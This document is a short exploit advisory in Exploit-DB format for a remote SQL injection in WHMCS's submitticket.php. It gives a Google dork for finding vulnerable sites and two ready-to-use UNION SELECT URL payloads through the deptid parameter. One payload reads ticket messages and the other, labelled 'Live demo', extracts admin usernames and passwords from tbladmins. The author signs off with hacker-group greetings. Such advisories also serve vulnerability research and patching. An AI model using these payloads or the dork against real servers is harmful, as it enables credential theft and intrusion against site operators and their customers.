WHMCompleteSolution (WHMCS) control (WHMCompleteSolution) - SQL Injection

EDB-ID:

12371




Platform:

PHP

Date:

2010-04-24


#=Info=======================================================================#
# Software: WHMCS control (WHMCompleteSolution)  Sql Injection                                                #
#                                                                                                                                       #
# Vulnerability: Remote Sql Injection                                                                                         #
# Google Dork: Powered by WHMCompleteSolution - or "  inurl:WHMCS                                            #
# Off. site: www.MiXaTy.com                                                                                                  #
#============================================================================#


#=Author==============================================#
# Author: Islam DefenDers                                                            #  
# Date: 24.04.2010                                                                     #
# Contact:  email: hackereg@hotmail.com                                       #
#====================================================#

#=Sql Injection===========================================================================================================================================================#
# Exploit: http://site/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20                                      
# DOWNLOAD : http://www.whmcs.com/                                                                                                                                     
# Live demo: http://ste/support/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20                 
#=========================================================================================================================================================================#


#=Greetz==================================#
#  IsLam DefenDers Mr.HaMaDa                               #
#=======================================#

HaMaDa SCoOoRPioN - DR.B@HY - MiXaTy TeaM - Islam DefenDers TeaM

site: www.mixaty.com

E: hackereg@hotmail.com